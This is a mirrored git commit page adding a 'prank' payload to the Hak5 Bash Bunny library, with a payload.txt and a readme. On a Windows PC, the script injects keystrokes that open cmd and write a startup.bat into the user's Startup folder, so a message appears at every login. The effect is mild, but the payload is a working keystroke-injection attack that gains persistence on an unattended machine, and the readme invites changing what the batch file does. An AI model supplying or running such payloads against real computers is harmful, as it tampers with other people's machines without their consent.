mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Added Startup-Message payload (#260)
This commit is contained in:
parent
d65380bd94
commit
69cd48ee05
30
payloads/library/prank/Startup-Message/payload.txt
Normal file
30
payloads/library/prank/Startup-Message/payload.txt
Normal file
@ -0,0 +1,30 @@
|
||||
#!/bin/bash
|
||||
#Title: Startup-Message
|
||||
#Author: By MikeeU
|
||||
#Target: Windows
|
||||
#Tested on: Windows 10
|
||||
#Version: 1.0
|
||||
|
||||
#Setting up(Magenta)
|
||||
LED SETUP
|
||||
|
||||
|
||||
ATTACKMODE HID
|
||||
|
||||
#Beginning HID Attack(Yellow)
|
||||
LED ATTACK
|
||||
|
||||
#Running cmd to create file in startup directory
|
||||
RUN WIN cmd
|
||||
Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
|
||||
Q ENTER
|
||||
Q STRING "echo @echo off > startup.bat"
|
||||
Q ENTER
|
||||
Q STRING "echo echo I will lock my PC next time! >> startup.bat"
|
||||
Q ENTER
|
||||
Q STRING "echo pause >> startup.bat"
|
||||
Q ENTER
|
||||
Q ALT F4
|
||||
|
||||
#Fast green followed by Solid -> Finished
|
||||
LED FINISH
|
||||
22
payloads/library/prank/Startup-Message/readme.md
Normal file
22
payloads/library/prank/Startup-Message/readme.md
Normal file
@ -0,0 +1,22 @@
|
||||
# Startup-Message
|
||||
by KMikeeU
|
||||
|
||||
* Target: Windows
|
||||
* Tested on: Windows 10
|
||||
* Should work on: Windows XP, Vista, 7, 8(Desktop), 10
|
||||
* Version: 1.0
|
||||
|
||||
## Description
|
||||
This little __HID__ Attack, will use cmd to create a file in the startup directory of the logged in user on the target PC. Which will display a message set by the attacker on logging in.
|
||||
|
||||
## Configuration
|
||||
You can edit the script to change the name of the file and the text that will be displayed.
|
||||
Defaults: startup.bat; I will lock my PC next time!
|
||||
|
||||
## Status
|
||||
| Status | Color | Description |
|
||||
|------|------|------|
|
||||
|SETUP|Magenta|Setting Attack mode|
|
||||
|ATTACK|Slow Yellow|Injecting keystrokes|
|
||||
|FINISH|Fast Green followed by solid|Payload has finished!|
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user